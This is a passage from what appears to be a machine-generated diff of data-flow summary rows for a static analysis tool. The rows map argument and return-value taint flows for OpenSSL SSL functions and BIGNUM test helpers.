*,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[0]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[2]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[5]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[5]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[5]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[6]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[6]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[6]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_choose_cipher", "(SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ssl3_choose_cipher", "(SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ssl3_choose_cipher", "(SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ssl3_choose_cipher", "(SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ssl3_choose_cipher", "(SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *)", "", "Argument[*2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ssl3_choose_cipher", "(SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *)", "", "Argument[*2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ssl3_comp_find", "(stack_st_SSL_COMP *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ssl3_comp_find", "(stack_st_SSL_COMP *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ssl3_ctrl", "(SSL *,int,long,void *)", "", "Argument[**3]", "Argument[*0].Field[***msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl3_ctrl", "(SSL *,int,long,void *)", "", "Argument[**3]", "Argument[*0].Field[*ext].Field[***debug_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl3_ctrl", "(SSL *,int,long,void *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "ssl3_ctrl", "(SSL *,int,long,void *)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ssl3_ctx_callback_ctrl", "(SSL_CTX *,int,..(*)(..))", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[**3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ssl3_digest_master_key_set_params", "(const SSL_SESSION *,OSSL_PARAM[])", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ssl3_generate_master_secret", "(SSL_CONNECTION *,unsigned char *,unsigned char *,size_t,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_get_cipher", "(unsigned int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ssl3_get_cipher", "(unsigned int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_get_req_cert_type", "(SSL_CONNECTION *,WPACKET *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ssl3_output_cert_chain", "(SSL_CONNECTION *,WPACKET *,CERT_PKEY *,int)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ssl3_read_bytes", "(SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_read_bytes", "(SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *)", "", "Argument[4]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_read_bytes", "(SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *)", "", "Argument[4]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_send_alert", "(SSL_CONNECTION *,int,int)", "", "Argument[1]", "Argument[*0].Field[*s3].Field[*send_alert]", "value", "dfc-generated"] + - ["", "", True, "ssl3_send_alert", "(SSL_CONNECTION *,int,int)", "", "Argument[2]", "Argument[*0].Field[*s3].Field[*send_alert]", "value", "dfc-generated"] + - ["", "", True, "ssl3_write_bytes", "(SSL *,uint8_t,const void *,size_t,size_t *)", "", "Argument[*2]", "Argument[*0].Field[*rlayer].Field[**wpend_buf]", "value", "dfc-generated"] + - ["", "", True, "ssl3_write_bytes", "(SSL *,uint8_t,const void *,size_t,size_t *)", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*wpend_type]", "value", "dfc-generated"] + - ["", "", True, "ssl3_write_bytes", "(SSL *,uint8_t,const void *,size_t,size_t *)", "", "Argument[2]", "Argument[*0].Field[*rlayer].Field[*wpend_buf]", "value", "dfc-generated"] + - ["", "", True, "ssl_cache_cipherlist", "(SSL_CONNECTION *,PACKET *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ssl_cert_add0_chain_cert", "(SSL_CONNECTION *,SSL_CTX *,X509 *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ssl_cert_add1_chain_cert", "(SSL_CONNECTION *,SSL_CTX *,X509 *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ssl_cert_add1_chain_cert", "(SSL_CONNECTION *,SSL_CTX *,X509 *)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ssl_cert_dup", "(CERT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ssl_cert_get_cert_store", "(CERT *,X509_STORE **,int)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ssl_cert_get_cert_store", "(CERT *,X509_STORE **,int)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ssl_cert_lookup_by_idx", "(size_t,SSL_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ssl_cert_lookup_by_idx", "(size_t,SSL_CTX *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ssl_cert_lookup_by_pkey", "(const EVP_PKEY *,size_t *,SSL_CTX *)", "", "Argument[*2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ssl_cert_lookup_by_pkey", "(const EVP_PKEY *,size_t *,SSL_CTX *)", "", "Argument[*2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ssl_cert_new", "(size_t)", "", "Argument[0]", "ReturnValue[*].Field[*ssl_pkey_num]", "value", "dfc-generated"] + - ["", "", True, "ssl_cert_select_current", "(CERT *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ssl_cert_set1_chain", "(SSL_CONNECTION *,SSL_CTX *,stack_st_X509 *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ssl_cert_set_cert_cb", "(CERT *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl_cert_set_cert_cb", "(CERT *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl_cert_set_cert_cb", "(CERT *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*cert_cb]", "value", "dfc-generated"] + - ["", "", True, "ssl_cert_set_cert_cb", "(CERT *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl_check_srvr_ecc_cert_and_alg", "(X509 *,SSL_CONNECTION *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ssl_choose_client_version", "(SSL_CONNECTION *,int,RAW_EXTENSION *)", "", "Argument[1]", "Argument[*0].Field[*version]", "value", "dfc-generated"] + - ["", "", True, "ssl_choose_server_version", "(SSL_CONNECTION *,CLIENTHELLO_MSG *,DOWNGRADE *)", "", "Argument[*1].Field[*legacy_version]", "Argument[*0].Field[*client_version]", "value", "dfc-generated"] + - ["", "", True, "ssl_cipher_get_evp", "(SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ssl_cipher_get_evp", "(SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl_cipher_get_evp", "(SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ssl_cipher_get_evp_cipher", "(SSL_CTX *,const SSL_CIPHER *,const EVP_CIPHER **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ssl_cipher_get_evp_md_mac", "(SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ssl_cipher_get_evp_md_mac", "(SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ssl_cipher_get_evp_md_mac", "(SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ssl_cipher_get_evp_md_mac", "(SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ssl_cipher_ptr_id_cmp", "(const SSL_CIPHER *const *,const SSL_CIPHER *const *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ssl_cipher_ptr_id_cmp", "(const SSL_CIPHER *const *,const SSL_CIPHER *const *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ssl_create_cipher_list", "(SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *)", "", "Argument[*4]", "Argument[*5].Field[*sec_level]", "taint", "dfc-generated"] + - ["", "", True, "ssl_create_cipher_list", "(SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ssl_create_cipher_list", "(SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl_create_cipher_list", "(SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *)", "", "Argument[4]", "Argument[*5].Field[*sec_level]", "taint", "dfc-generated"] + - ["", "", True, "ssl_ctx_add_large_cert_chain", "(OSSL_LIB_CTX *,SSL_CTX *,const char *)", "", "Argument[*0]", "Argument[*1].Field[**msg_callback_arg].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ssl_ctx_add_large_cert_chain", "(OSSL_LIB_CTX *,SSL_CTX *,const char *)", "", "Argument[*0]", "Argument[*1].Field[*msg_callback_arg].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ssl_ctx_add_large_cert_chain", "(OSSL_LIB_CTX *,SSL_CTX *,const char *)", "", "Argument[0]", "Argument[*1].Field[**msg_callback_arg].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ssl_ctx_add_large_cert_chain", "(OSSL_LIB_CTX *,SSL_CTX *,const char *)", "", "Argument[0]", "Argument[*1].Field[*msg_callback_arg].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ssl_ctx_set_excert", "(SSL_CTX *,SSL_EXCERT *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[**cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl_ctx_set_excert", "(SSL_CTX *,SSL_EXCERT *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl_dh_to_pkey", "(DH *)", "", "Argument[0]", "ReturnValue[*].Field[*pkey].Union[*legacy_pkey_st]", "value", "dfc-generated"] + - ["", "", True, "ssl_fill_hello_random", "(SSL_CONNECTION *,int,unsigned char *,size_t,DOWNGRADE)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ssl_fill_hello_random", "(SSL_CONNECTION *,int,unsigned char *,size_t,DOWNGRADE)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ssl_generate_pkey", "(SSL_CONNECTION *,EVP_PKEY *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ssl_get_ciphers_by_id", "(SSL_CONNECTION *)", "", "Argument[*0].Field[**cipher_list_by_id]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ssl_get_ciphers_by_id", "(SSL_CONNECTION *)", "", "Argument[*0].Field[*cipher_list_by_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ssl_get_max_send_fragment", "(const SSL_CONNECTION *)", "", "Argument[*0].Field[*max_send_fragment]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ssl_get_min_max_version", "(const SSL_CONNECTION *,int *,int *,int *)", "", "Argument[*0].Field[*version]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ssl_get_min_max_version", "(const SSL_CONNECTION *,int *,int *,int *)", "", "Argument[*0].Field[*version]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ssl_get_min_max_version", "(const SSL_CONNECTION *,int *,int *,int *)", "", "Argument[*2]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ssl_get_min_max_version", "(const SSL_CONNECTION *,int *,int *,int *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ssl_get_min_max_version", "(const SSL_CONNECTION *,int *,int *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ssl_get_prev_session", "(SSL_CONNECTION *,CLIENTHELLO_MSG *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ssl_get_security_level_bits", "(const SSL *,const SSL_CTX *,int *)", "", "Argument[*0].Field[**cert].Field[*sec_level]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ssl_get_security_level_bits", "(const SSL *,const SSL_CTX *,int *)", "", "Argument[*0].Field[**cert].Field[*sec_level]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ssl_get_security_level_bits", "(const SSL *,const SSL_CTX *,int *)", "", "Argument[*1].Field[**cert].Field[*sec_level]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ssl_get_security_level_bits", "(const SSL *,const SSL_CTX *,int *)", "", "Argument[*1].Field[**cert].Field[*sec_level]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ssl_get_split_send_fragment", "(const SSL_CONNECTION *)", "", "Argument[*0].Field[*max_send_fragment]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ssl_get_split_send_fragment", "(const SSL_CONNECTION *)", "", "Argument[*0].Field[*split_send_fragment]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ssl_hmac_get0_EVP_MAC_CTX", "(SSL_HMAC *)", "", "Argument[*0].Field[**ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ssl_hmac_get0_EVP_MAC_CTX", "(SSL_HMAC *)", "", "Argument[*0].Field[*ctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ssl_hmac_get0_HMAC_CTX", "(SSL_HMAC *)", "", "Argument[*0].Field[**old_ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ssl_hmac_get0_HMAC_CTX", "(SSL_HMAC *)", "", "Argument[*0].Field[*old_ctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ssl_hmac_init", "(SSL_HMAC *,void *,size_t,char *)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "ssl_hmac_init", "(SSL_HMAC *,void *,size_t,char *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ssl_hmac_init", "(SSL_HMAC *,void *,size_t,char *)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ssl_hmac_old_init", "(SSL_HMAC *,void *,size_t,char *)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "ssl_hmac_old_init", "(SSL_HMAC *,void *,size_t,char *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ssl_hmac_old_init", "(SSL_HMAC *,void *,size_t,char *)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ssl_load_groups", "(SSL_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ssl_md", "(SSL_CTX *,int)", "", "Argument[*0].Field[**ssl_digest_methods]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ssl_md", "(SSL_CTX *,int)", "", "Argument[*0].Field[*ssl_digest_methods]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ssl_md", "(SSL_CTX *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ssl_read_internal", "(SSL *,void *,size_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl_release_record", "(SSL_CONNECTION *,TLS_RECORD *,size_t)", "", "Argument[2]", "Argument[*1].Field[*length]", "taint", "dfc-generated"] + - ["", "", True, "ssl_release_record", "(SSL_CONNECTION *,TLS_RECORD *,size_t)", "", "Argument[2]", "Argument[*1].Field[*off]", "taint", "dfc-generated"] + - ["", "", True, "ssl_security_cert", "(SSL_CONNECTION *,SSL_CTX *,X509 *,int,int)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ssl_security_cert_chain", "(SSL_CONNECTION *,stack_st_X509 *,X509 *,int)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ssl_security_cert_chain", "(SSL_CONNECTION *,stack_st_X509 *,X509 *,int)", "", "Argument[*1]", "Argument[2]", "taint", "df-generated"] + - ["", "", True, "ssl_security_cert_chain", "(SSL_CONNECTION *,stack_st_X509 *,X509 *,int)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ssl_session_calculate_timeout", "(SSL_SESSION *)", "", "Argument[*0].Field[*time].Field[*t]", "Argument[*0].Field[*calc_timeout].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ssl_session_calculate_timeout", "(SSL_SESSION *)", "", "Argument[*0].Field[*timeout].Field[*t]", "Argument[*0].Field[*calc_timeout].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ssl_session_dup", "(const SSL_SESSION *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ssl_session_dup", "(const SSL_SESSION *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ssl_set_client_hello_version", "(SSL_CONNECTION *)", "", "Argument[*0].Field[*version]", "Argument[*0].Field[*client_version]", "value", "dfc-generated"] + - ["", "", True, "ssl_set_sig_mask", "(uint32_t *,SSL_CONNECTION *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ssl_set_tmp_ecdh_groups", "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ssl_set_tmp_ecdh_groups", "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ssl_set_tmp_ecdh_groups", "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ssl_set_version_bound", "(int,int,int *)", "", "Argument[1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ssl_write_internal", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl_write_internal", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ssl_write_internal", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_eq", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_eq", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_eq_one", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_eq_word", "(const char *,int,const char *,const char *,const BIGNUM *,unsigned long)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_eq_zero", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_even", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_ge", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_ge", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_ge_zero", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_gt", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_gt", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_gt_zero", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_le", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_le", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_le_zero", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_lt", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_lt", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_lt_zero", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_ne", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_ne", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_ne_zero", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "test_BN_odd", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "test_arg_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *)", "", "Argument[**0]", "Argument[**2].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "test_arg_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *)", "", "Argument[*0]", "Argument[**2].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "test_arg_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *)", "", "Argument[0]", "Argument[**2].Field[*libctx]", "taint", "dfc-generated"] + - ["", "", True, "test_arg_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "test_arg_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *)", "", "Argument[1]", "Argument[*1]", "taint", 